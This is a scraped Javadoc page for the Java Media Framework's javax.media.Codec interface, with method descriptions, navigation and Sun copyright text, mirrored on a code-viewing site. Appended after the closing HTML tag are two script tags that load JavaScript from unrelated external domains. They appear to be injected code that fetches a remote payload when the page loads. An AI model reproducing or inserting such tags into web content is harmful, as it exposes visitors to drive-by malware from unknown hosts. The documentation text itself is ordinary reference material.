📄 codec.html
字号:
<CODE> <A HREF="../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Codec.html#setInputFormat(javax.media.Format)">setInputFormat</A></B>(<A HREF="../../javax/media/Format.html">Format</A> format)</CODE><BR> Sets the format of the data to be input to this codec.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Codec.html#setOutputFormat(javax.media.Format)">setOutputFormat</A></B>(<A HREF="../../javax/media/Format.html">Format</A> format)</CODE><BR> Sets the format for the data this codec outputs.</TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.PlugIn"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/PlugIn.html">PlugIn</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/PlugIn.html#close()">close</A>, <A HREF="../../javax/media/PlugIn.html#getName()">getName</A>, <A HREF="../../javax/media/PlugIn.html#open()">open</A>, <A HREF="../../javax/media/PlugIn.html#reset()">reset</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Controls"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Controls.html">Controls</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Controls.html#getControl(java.lang.String)">getControl</A>, <A HREF="../../javax/media/Controls.html#getControls()">getControls</A></CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getSupportedInputFormats()"><!-- --></A><H3>getSupportedInputFormats</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A>[] <B>getSupportedInputFormats</B>()</PRE><DL><DD>Lists all of the input formats that this codec accepts.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>An array that contains the supported input <code>Formats</code>.</DL></DD></DL><HR><A NAME="getSupportedOutputFormats(javax.media.Format)"><!-- --></A><H3>getSupportedOutputFormats</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A>[] <B>getSupportedOutputFormats</B>(<A HREF="../../javax/media/Format.html">Format</A> input)</PRE><DL><DD>Lists the output formats that this codec can generate. If <code>input</code> is non-null, this method lists the possible output formats that can be generated from input data of the specified <code>Format</code>. If <code>input</code> is null, this method lists all of the output formats supported by this plug-in.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>input</CODE> - The <code>Format</code> of the data to be used as input to the plug-in.<DT><B>Returns:</B><DD>An array that contains the supported output <code>Formats</code>.</DL></DD></DL><HR><A NAME="setInputFormat(javax.media.Format)"><!-- --></A><H3>setInputFormat</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>setInputFormat</B>(<A HREF="../../javax/media/Format.html">Format</A> format)</PRE><DL><DD>Sets the format of the data to be input to this codec.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>format</CODE> - The <code>Format</code> to be set.<DT><B>Returns:</B><DD>The <code>Format</code> that was set, which might be the supported <code>Format</code> that most closely matches the one specified. Returns null if the specified <code>Format</code> is not supported and no reasonable match could be found.</DL></DD></DL><HR><A NAME="setOutputFormat(javax.media.Format)"><!-- --></A><H3>setOutputFormat</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>setOutputFormat</B>(<A HREF="../../javax/media/Format.html">Format</A> format)</PRE><DL><DD>Sets the format for the data this codec outputs.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>format</CODE> - The <code>Format</code> to be set.<DT><B>Returns:</B><DD>The <code>Format</code> that was set, which might be the <code>Format</code> that most closely matched the one specified. Returns null if the specified <code>Format</code> is not supported and no reasonable match could be found.</DL></DD></DL><HR><A NAME="process(javax.media.Buffer, javax.media.Buffer)"><!-- --></A><H3>process</H3><PRE>public int <B>process</B>(<A HREF="../../javax/media/Buffer.html">Buffer</A> input, <A HREF="../../javax/media/Buffer.html">Buffer</A> output)</PRE><DL><DD>Performs the media processing defined by this codec.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>input</CODE> - The <code>Buffer</code> that contains the media data to be processed.<DD><CODE>output</CODE> - The <code>Buffer</code> in which to store the processed media data.<DT><B>Returns:</B><DD><CODE>BUFFER_PROCESSED_OK</CODE> if the processing is successful. Other possible return codes are defined in <CODE>PlugIn</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/PlugIn.html"><CODE>PlugIn</CODE></A></DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/Clock.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/Control.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Codec.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -